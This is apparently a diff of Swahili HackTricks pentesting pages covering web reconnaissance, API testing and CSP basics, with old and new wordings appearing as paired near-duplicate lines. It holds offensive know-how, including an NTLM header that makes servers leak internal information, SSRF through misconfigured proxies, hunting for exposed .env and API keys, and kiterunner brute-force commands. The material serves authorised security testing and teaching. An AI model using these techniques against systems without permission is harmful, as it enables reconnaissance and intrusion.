* **Nakala za Faili**: Mara baada ya kupata faili zote, tafuta nakala za faili zote za kutekelezwa ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida kwa jina la nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia zana [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Gundua vigezo vipya**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua vigezo vilivyofichwa. Ikiwa unaweza, jaribu kutafuta** vigezo vilivyofichwa kwenye kila faili ya wavuti inayoweza kutekelezwa.
|
||||
* [**Mchunguzi wa viungo vilivunjika**](https://github.com/stevenvachon/broken-link-checker): Tafuta viungo vilivunjika ndani ya HTML ambavyo vinaweza kuwa rahisi kuchukuliwa
|
||||
* **Nakala za Faili**: Mara baada ya kupata faili zote, tafuta nakala za faili zote za kutekelezeka ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida kwa jina la nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia zana [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Gundua vigezo vipya**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua vigezo vilivyofichwa. Ikiwa unaweza, jaribu kutafuta** vigezo vilivyofichwa kwenye kila faili ya wavuti inayoweza kutekelezeka.
|
||||
* _Arjun orodha za maneno ya msingi:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner "params" :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote "parameters\_top\_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de "params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Maoni:** Angalia maoni ya faili zote, unaweza kupata **vyeti** au **kazi iliyofichwa**.
|
||||
* Ikiwa unacheza **CTF**, "udanganyifu" wa kawaida ni kuficha **habari** **ndani** ya maoni kwenye **ukurasa** wa **kulia** (ukiitumia **maelfu** ya **nafasi** ili usione data ikiwa unafungua nambari ya chanzo na kivinjari). Uwezekano mwingine ni kutumia **mistari mpya kadhaa** na **kuficha habari** katika maoni chini ya ukurasa wa wavuti.
|
||||
* Ikiwa unacheza **CTF**, "udanganyifu" wa kawaida ni kuficha **habari** ndani ya maoni kwenye **kulia** ya **ukurasa** (ukiitumia **maelfu** ya **nafasi** ili usione data ikiwa unafungua nambari ya chanzo na kivinjari). Uwezekano mwingine ni kutumia **mistari mpya kadhaa** na **kuficha habari** katika maoni chini ya ukurasa wa wavuti.
|
||||
* **Vidokezo vya API**: Ikiwa **unapata funguo yoyote ya API** kuna mwongozo unaonyesha jinsi ya kutumia funguo za API za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Funguo za API za Google: Ikiwa unapata funguo yoyote ya API inayofanana na **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik unaweza kutumia mradi [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuchunguza ni api zipi funguo inaweza kupata.
|
||||
* **S3 Buckets**: Wakati wa spidering angalia ikiwa kuna **subdomain** au **kiungo** chochote kinahusiana na S3 bucket fulani. Katika kesi hiyo, [**angalia** **ruhusa** za bucket](buckets/).
|
||||
* **S3 Buckets**: Wakati wa spidering, angalia ikiwa **subdomain** au **kiungo** wowote unahusiana na **S3 bucket**. Katika kesi hiyo, [**angalia** **ruhusa** ya bucket](buckets/).
|
||||
|
||||
### Uvumbuzi Maalum
|
||||
|
||||
**Wakati** wa **spidering** na **brute-forcing** unaweza kupata **vitu** **vinavyovutia** ambavyo unahitaji **kuzingatia**.
|
||||
**Wakati** wa **kufanya** **spidering** na **brute-forcing** unaweza kupata **vitu** **vinavyovutia** **ambavyo** unapaswa **kuzingatia**.
|
||||
|
||||
**Faili za Kuvutia**
|
||||
|
||||
* Tafuta **viungo** kwa faili zingine ndani ya faili za **CSS**.
|
||||
* [Ikiwa unapata faili ya _**.git**_ unaweza kutoa habari fulani](git.md)
|
||||
* [Ikiwa unapata faili ya _**.git**_ unaweza kutoa habari](git.md)
|
||||
* Ikiwa unapata faili ya _**.env**_ habari kama funguo za api, nywila za db na habari nyingine zinaweza kupatikana.
|
||||
* Ikiwa unapata **malengo ya API** unapaswa [pia kuzipima](web-api-pentesting.md). Hizi sio faili, lakini labda "zinaonekana kama" hizo.
|
||||
* **Faili za JS**: Katika sehemu ya spidering zilizotajwa zana kadhaa ambazo zinaweza kutoa njia kutoka kwenye faili za JS. Pia, itakuwa muhimu **kuangalia kila faili ya JS iliyopatikana**, kwani kwa baadhi ya hali, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano uliingizwa kwenye nambari. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Pia unapaswa kuangalia faili za JS zilizopatikana na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kujua ikiwa ina udhaifu.
|
||||
* Ikiwa unapata **malengo ya API** unapaswa [pia kuzipima](web-api-pentesting.md). Hizi sio faili, lakini labda "zitaonekana kama" hizo.
|
||||
* **Faili za JS**: Katika sehemu ya spidering zilitajwa zana kadhaa zinazoweza kutoa njia kutoka kwenye faili za JS. Pia, itakuwa ya kuvutia **kuangalia kila faili ya JS iliyopatikana**, kwani kwa baadhi ya hali, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano uliingizwa kwenye nambari. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Pia unapaswa kuangalia faili za JS zilizopatikana na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) kujua ikiwa ina mapungufu.
|
||||
* **Deobfuscator na Unpacker wa Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck deobfuscation** (javascript na herufi:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* **Deobfuscation ya JsFuck** (javascript na herufi:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* Katika hali kadhaa utahitaji **kuelewa mizizi ya kawaida** iliyotumiwa, hii itakuwa muhimu: [https://regex101.com/](https://regex101.com)
|
||||
* Unaweza pia **kuangalia faili ambapo fomu ziligunduliwa**, kwani mabadiliko katika parameter au kuonekana kwa fomu mpya kunaweza kuashiria uwezekano wa kazi mpya inayoweza kuwa na udhaifu.
|
||||
|
||||
**403 Imezuiwa/uthibitishaji wa Msingi/401 Hauruhusiwi (kipuuzi)**
|
||||
**403 Imezuiwa/uthibitishaji wa Msingi/401 Haramu (kipuuzi)**
|
||||
|
||||
{% content-ref url="403-and-401-bypasses.md" %}
|
||||
[403-and-401-bypasses.md](403-and-401-bypasses.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**Kosa la Proksi la 502**
|
||||
**Kosa la 502 la Mwendeshaji wa Proksi**
|
||||
|
||||
Ikiwa ukurasa wowote unajibu na **nambari** hiyo, labda ni **proksi iliyopangwa vibaya**. **Ikiwa unatuma ombi la HTTP kama: `GET https://google.com HTTP/1.1`** (na kichwa cha mwenyeji na vichwa vingine vya kawaida), **proksi** itajaribu **kufikia** _**google.com**_ **na utakuwa umepata** SSRF.
|
||||
|
||||
**Uthibitishaji wa NTLM - Ufunuo wa habari**
|
||||
**Uthibitishaji wa NTLM - Kufichua habari**
|
||||
|
||||
Ikiwa seva inayotumika inayotaka uthibitishaji ni **Windows** au unapata ombi la kuingia linalouliza **vyeti vyako** (na kuuliza jina la **domain**), unaweza kusababisha **ufunuo wa habari**.\
|
||||
**Tuma** **kichwa**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **uthibitishaji wa NTLM unavyofanya kazi**, seva itajibu na habari za ndani (toleo la IIS, toleo la Windows...) ndani ya kichwa "WWW-Authenticate".\
|
||||
Unaweza **kutumia** hii **kwa njia ya kiotomatiki** kwa kutumia **nmap plugin** "_http-ntlm-info.nse_".
|
||||
Ikiwa mtandao unaoendesha ombi la uthibitishaji ni **Windows** au unapata ombi la kuingia kwa **vyeti vyako** (na kuuliza jina la **domaini**), unaweza kusababisha **kufichua habari**.\
|
||||
**Tuma** **kichwa**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **uthibitishaji wa NTLM unavyofanya kazi**, mtandao utajibu na habari za ndani (toleo la IIS, toleo la Windows...) ndani ya kichwa "WWW-Authenticate".\
|
||||
Unaweza **kutumia** hii **kiotomatiki** kwa kutumia **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
**Uelekezaji wa HTTP (CTF)**
|
||||
|
||||
Inawezekana **kuweka maudhui** ndani ya **Uelekezaji**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kwa kuwa kivinjari kitatekeleza uelekezaji) lakini kitu kinaweza **kufichwa** ndani yake.
|
||||
### Ukaguzi wa Mapungufu ya Wavuti
|
||||
Inawezekana **kuweka maudhui** ndani ya **Uelekezaji**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kwani kivinjari kitatekeleza uelekezaji) lakini kitu kinaweza **kufichwa** ndani yake.
|
||||
### Ukaguzi wa Udhaifu wa Wavuti
|
||||
|
||||
Sasa baada ya uchunguzi kamili wa programu ya wavuti umefanywa, ni wakati wa kuchunguza mapungufu mengi yanayowezekana. Unaweza kupata orodha ya ukaguzi hapa:
|
||||
Sasa baada ya uchunguzi kamili wa programu ya wavuti umefanywa ni wakati wa kuchunguza udhaifu mwingi uwezekanao. Unaweza kupata orodha ya ukaguzi hapa:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Pata habari zaidi kuhusu mapungufu ya wavuti katika:
|
||||
Pata habari zaidi kuhusu udhaifu wa wavuti katika:
|
||||
|
||||
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
|
@ -351,11 +352,11 @@ Pata habari zaidi kuhusu mapungufu ya wavuti katika:
|
|||
|
||||
### Fuatilia Kurasa kwa Mabadiliko
|
||||
|
||||
Unaweza kutumia zana kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuweka mapungufu.
|
||||
Unaweza kutumia zana kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuweka udhaifu.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunahitaji wewe!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa vizuri unahitajika_).
|
||||
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa vizuri unahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Upimaji wa API ya Wavuti
|
||||
# Ukaguzi wa Web API
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -21,48 +21,49 @@ Pata Ufikiaji Leo:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Muhtasari wa Mbinu ya Upimaji wa API
|
||||
## Muhtasari wa Mbinu ya Ukaguzi wa API
|
||||
|
||||
Upimaji wa APIs unahusisha njia iliyopangwa ya kugundua mapungufu. Mwongozo huu unajumuisha mbinu kamili, ukitilia mkazo mbinu na zana za vitendo.
|
||||
Ukaguzi wa APIs unahusisha njia iliyopangwa ya kugundua mapungufu. Mwongozo huu unajumuisha mbinu kamili, ukitilia mkazo mbinu na zana za vitendo.
|
||||
|
||||
### **Kuelewa Aina za API**
|
||||
|
||||
* **Huduma za Wavuti za SOAP/XML**: Tumia muundo wa WSDL kwa nyaraka, mara nyingi zinapatikana kwenye njia za `?wsdl`. Zana kama **SOAPUI** na **WSDLer** (Kifaa cha Burp Suite) ni muhimu kwa kuchambua na kuzalisha maombi. Nyaraka ya mfano inapatikana kwa [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
* **REST APIs (JSON)**: Nyaraka mara nyingi huja katika faili za WADL, lakini zana kama [Swagger UI](https://swagger.io/tools/swagger-ui/) hutoa kiolesura cha urafiki zaidi kwa mwingiliano. **Postman** ni zana muhimu kwa kuunda na kusimamia maombi ya mfano.
|
||||
* **GraphQL**: Lugha ya kuuliza kwa APIs inayotoa maelezo kamili na rahisi kueleweka ya data kwenye API yako.
|
||||
* **REST APIs (JSON)**: Nyaraka mara nyingi huja katika faili za WADL, lakini zana kama [Swagger UI](https://swagger.io/tools/swagger-ui/) hutoa kiolesura cha kirafiki zaidi kwa mwingiliano. **Postman** ni zana muhimu kwa kuunda na kusimamia maombi ya mfano.
|
||||
* **GraphQL**: Lugha ya utaftaji kwa APIs inayotoa maelezo kamili na rahisi kueleweka ya data kwenye API yako.
|
||||
|
||||
### **Maabara za Mazoezi**
|
||||
|
||||
* [**VAmPI**](https://github.com/erev0s/VAmPI): API inayoweza kudhurika kwa makusudi kwa mazoezi ya vitendo, ikijumuisha mapungufu ya juu 10 ya API za OWASP.
|
||||
|
||||
### **Mbinu Zenye Ufanisi za Upimaji wa API**
|
||||
### **Mbinu Zenye Ufanisi za Ukaguzi wa API**
|
||||
|
||||
* **Mapungufu ya SOAP/XML**: Chunguza mapungufu ya XXE, ingawa matangazo ya DTD mara nyingi huwa yamezuiliwa. Vitambulisho vya CDATA vinaweza kuruhusu kuingiza mzigo ikiwa XML inabaki kuwa halali.
|
||||
* **Kupandisha Hadhi**: Jaribu vituo vya mwisho na viwango tofauti vya hadhi kutambua uwezekano wa kupata ufikiaji usioruhusiwa.
|
||||
* **Kupandisha Hadhi**: Jaribu vituo vya mwisho na viwango tofauti vya hadhi kutambua uwezekano wa ufikiaji usioruhusiwa.
|
||||
* **Mipangilio Mibaya ya CORS**: Chunguza mipangilio ya CORS kwa uwezekano wa kutumia kwa mashambulizi ya CSRF kutoka kwa vikao vilivyothibitishwa.
|
||||
* **Kugundua Vituo vya Mwisho**: Tumia mifano ya API kugundua vituo vilivyofichwa. Zana kama fuzzers zinaweza kusaidia kiotomatiki mchakato huu.
|
||||
* **Udanganyifu wa Parameta**: Jaribu kuongeza au kubadilisha parameta katika maombi ili kupata data au kazi zisizoruhusiwa.
|
||||
* **Upimaji wa Mbinu za HTTP**: Badilisha mbinu za ombi (GET, POST, PUT, DELETE, PATCH) kugundua tabia au kufichua habari isiyotarajiwa.
|
||||
* **Udhibiti wa Aina ya Yaliyomo**: Badilisha kati ya aina tofauti za yaliyomo (x-www-form-urlencoded, application/xml, application/json) kwa ajili ya kupima matatizo au mapungufu ya uchambuzi.
|
||||
* **Mbinu za Parameta za Juu**: Jaribu na aina za data zisizotarajiwa katika malipo ya JSON au cheza na data ya XML kwa kuingiza XXE. Pia, jaribu uchafuzi wa parameta na wahusika wa joker kwa upimaji mpana.
|
||||
* **Upimaji wa Toleo**: Matoleo ya zamani ya API yanaweza kuwa rahisi kushambuliwa. Daima angalia na upime dhidi ya matoleo mengi ya API.
|
||||
* **Udanganyifu wa Parameta**: Jaribu kuongeza au kubadilisha parameta katika maombi kufikia data au kazi zisizoruhusiwa.
|
||||
* **Jaribio la Mbinu ya HTTP**: Badilisha mbinu za ombi (GET, POST, PUT, DELETE, PATCH) kugundua tabia au kufichua habari isiyotarajiwa.
|
||||
* **Udhibiti wa Aina ya Yaliyomo**: Badilisha kati ya aina tofauti za yaliyomo (x-www-form-urlencoded, application/xml, application/json) kwa ajili ya kujaribu matatizo au mapungufu ya uchambuzi.
|
||||
* **Mbinu za Parameta za Juu**: Jaribu na aina za data zisizotarajiwa katika malipo ya JSON au cheza na data ya XML kwa kuingiza XXE. Pia, jaribu uchafuzi wa parameta na wahusika wa joker kwa ukaguzi mpana.
|
||||
* **Jaribio la Toleo**: Matoleo ya zamani ya API yanaweza kuwa rahisi kushambuliwa. Daima angalia na jaribu dhidi ya matoleo mengi ya API.
|
||||
|
||||
### **Zana na Rasilmali za Upimaji wa API**
|
||||
### **Zana na Rasilmali za Ukaguzi wa API**
|
||||
|
||||
* **kiterunner**: Bora kwa kugundua vituo vya API. Tumia kuscan na kufanya nguvu dhidi ya njia na parameta kwenye API ya lengo.
|
||||
* [**kiterunner**](https://github.com/assetnote/kiterunner): Bora kwa kugundua vituo vya API. Tumia kuscan na kufanya nguvu dhidi ya njia na parameta kwenye API za lengo.
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
||||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||
```
|
||||
* Vifaa vingine kama **automatic-api-attack-tool**, **Astra**, na **restler-fuzzer** hutoa utendaji ulioboreshwa kwa ajili ya kupima usalama wa API, kutoka kwa mazoezi ya mashambulizi hadi kufanya fuzzing na uchunguzi wa mapungufu.
|
||||
* Zana za ziada kama **automatic-api-attack-tool**, **Astra**, na **restler-fuzzer** zinatoa utendaji uliolengwa kwa ajili ya kupima usalama wa API, ikiwa ni pamoja na mazoezi ya mashambulizi, fuzzing, na uchunguzi wa mapungufu.
|
||||
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Ni zana ya usalama wa API inayokagua API yako kulingana na faili ya OAS (zana imeandikwa kwa lugha ya rust).
|
||||
|
||||
### **Vyanzo vya Kujifunza na Mazoezi**
|
||||
|
||||
* **OWASP API Security Top 10**: Kusoma muhimu kwa kuelewa mapungufu ya kawaida ya API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
* **API Security Checklist**: Orodha kamili ya kuhakikisha usalama wa APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
* **Logger++ Filters**: Kwa ajili ya kutafuta mapungufu ya API, Logger++ hutoa vichujio muhimu ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
* **Logger++ Filters**: Kwa ajili ya kutafuta mapungufu ya API, Logger++ inatoa vichujio muhimu ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
* **API Endpoints List**: Orodha iliyochaguliwa ya vituo vya API vinavyoweza kutumika kwa madhumuni ya majaribio ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
|
||||
## Marejeo
|
||||
|
@ -71,21 +72,21 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia kiotomatiki** mifumo ya kazi inayotumia zana za jamii za **juu zaidi** duniani.\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa kutumia zana za jamii za **juu zaidi** duniani.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,22 +16,22 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wakati wabunifu wa uzoefu na wawindaji wa zawadi za mdudu!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wakati wabunifu wa uzoefu na wawindaji wa zawadi za mdudu!
|
||||
|
||||
**Machapisho ya Kuvamia**\
|
||||
Shiriki na yaliyomo yanayochimba kina cha msisimko na changamoto za kuvamia
|
||||
|
||||
**Habari za Kuvamia za Wakati Halisi**\
|
||||
Endelea kufahamishwa na ulimwengu wa kuvamia wenye haraka kupitia habari na ufahamu wa wakati halisi
|
||||
Kaa up-to-date na ulimwengu wa kuvamia wenye haraka kupitia habari na ufahamu wa wakati halisi
|
||||
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwenye habari na zawadi mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
Baki mwelekezwa na zawadi mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wavamizi bora leo!
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wabunifu bora leo!
|
||||
|
||||
## Ni Nini CSP
|
||||
|
||||
Kizuizi cha Usalama wa Yaliyomo (CSP) kinatambuliwa kama teknolojia ya kivinjari, iliyolenga hasa **kulinda dhidi ya mashambulizi kama vile udukuzi wa tovuti (XSS)**. Kinafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakiwa kwa usalama na kivinjari. Rasilimali hizi ni pamoja na mambo kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu kupakia na kutekeleza rasilimali kutoka kwa kikoa kile kile (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa nambari ya mstari kupitia kazi kama vile `eval`, `setTimeout`, au `setInterval`.
|
||||
Kizuizi cha Usalama wa Yaliyomo (CSP) kinatambuliwa kama teknolojia ya kivinjari, iliyolenga hasa **kulinda dhidi ya mashambulizi kama vile udukuzi wa tovuti nyingine (XSS)**. Kinafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakiwa kwa usalama na kivinjari. Rasilimali hizi ni pamoja na mambo mbalimbali kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu kupakia na kutekeleza rasilimali kutoka kwa kikoa kile kile (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa nambari ya mstari kupitia kazi kama vile `eval`, `setTimeout`, au `setInterval`.
|
||||
|
||||
Utekelezaji wa CSP unafanywa kupitia **vichwa vya majibu** au kwa kuingiza **vipengele vya meta ndani ya ukurasa wa HTML**. Kufuatia sera hii, vivinjari hutekeleza masharti haya kwa ufanisi na mara moja kuzuia uvunjaji wowote uliogunduliwa.
|
||||
|
||||
|
@ -48,11 +48,11 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||
CSP inaweza kutekelezwa au kufuatiliwa kwa kutumia vichwa hivi:
|
||||
|
||||
* `Content-Security-Policy`: Inatekeleza CSP; kivinjari kinazuia uvunjaji wowote.
|
||||
* `Content-Security-Policy-Report-Only`: Hutumika kwa ufuatiliaji; hutoa ripoti za uvunjaji bila kuzuia. Ni bora kwa ajili ya majaribio katika mazingira ya awali ya uzalishaji.
|
||||
* `Content-Security-Policy-Report-Only`: Hutumika kwa ufuatiliaji; inaripoti uvunjaji bila kuwazuia. Ni bora kwa ajili ya majaribio katika mazingira ya awali kabla ya uzalishaji.
|
||||
|
||||
### Kutambua Rasilmali
|
||||
|
||||
CSP inazuia asili za kupakia yaliyo hai na yaliyo pasipo hai, ikidhibiti mambo kama utekelezaji wa JavaScript wa moja kwa moja na matumizi ya `eval()`. Sera ya mfano ni:
|
||||
CSP inazuia asili za kupakia yaliyomo ya moja kwa moja na ya kupitisha, ikidhibiti mambo kama utekelezaji wa JavaScript ya moja kwa moja na matumizi ya `eval()`. Sera ya mfano ni:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
|
@ -66,24 +66,24 @@ object-src 'none';
|
|||
```
|
||||
### Maelekezo
|
||||
|
||||
* **script-src**: Inaruhusu vyanzo maalum vya JavaScript, ikiwa ni pamoja na URL, script za ndani, na script zinazosababishwa na wakati wa matukio au XSLT stylesheets.
|
||||
* **default-src**: Inaweka sera ya msingi kwa kupata rasilimali wakati maagizo maalum ya kupata hayapo.
